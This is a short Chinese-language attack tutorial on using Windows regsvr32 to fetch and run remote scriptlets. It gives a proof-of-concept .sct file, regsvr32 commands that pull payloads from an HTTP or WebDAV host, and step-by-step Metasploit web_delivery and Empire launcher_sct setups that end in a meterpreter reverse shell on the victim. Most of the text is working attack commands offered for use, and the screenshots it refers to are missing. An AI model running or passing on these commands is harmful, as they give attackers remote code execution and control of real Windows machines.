regsvr32

regsvr32是一个命令行工具,它用来注册或注销OLE控件,如DLL文件和ActiveX控件在Windows注册表中。regsvr32.exe文件通常位于%systemroot%System32文件夹中。

编写sct文件:

<?XML version="1.0"?>
<!-- regsvr32 /u /n /s /i:\\webdavserver\folder\regsvr32.sct scrobj.dll -->
<scriptlet>
<registration 
    progid="PoC"
    classid="{10001111-0000-0000-0000-0000FEEDACDC}" >
    <script language="JScript">
        <![CDATA[
            var r = new ActiveXObject("WScript.Shell").Run("calc.exe");    
        ]]>
</script>
</registration>
</scriptlet>

要在目标主机上运行有两种方法:

# 从网络上执行
regsvr32 /u /n /s /i:http://192.168.1.1/payload.sct scrobj.dll
# 从WebDAV客户端执行
regsvr32 /u /n /s /i:\\192.16.8.1.1\folder\payload.sct scrobj.dll

Metasploit

使用Metasploit生成文件,可以输入以下命令:

msf6 > use exploit/multi/script/web_delivery
msf6 exploit(multi/script/web_delivery) > set target 3
msf6 exploit(multi/script/web_delivery) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > run

可以看到生成如图中的URL地址:

在Windows主机中运行该条命令,即可在Metasploit终端中获取到会话

regsvr32 /s /n /u /i:http://192.168.8.145:8080/Xrnii1z7lWpW.sct scrobj.dll

Empire

先在Starkiller中创建监听器:

然后在创建stager处选择windows/launcher_sct即可(这里监听器名字不一样是因为创建了个重名的,所以改成http1了):

创建完毕后下载到本地网页目录,并开启Apache服务,在Windows主机中运行命令:

regsvr32 /s /n /u /i:http://192.168.8.145/launcher.sct scrobj.dll

即可获取到会话:

可用工具仓库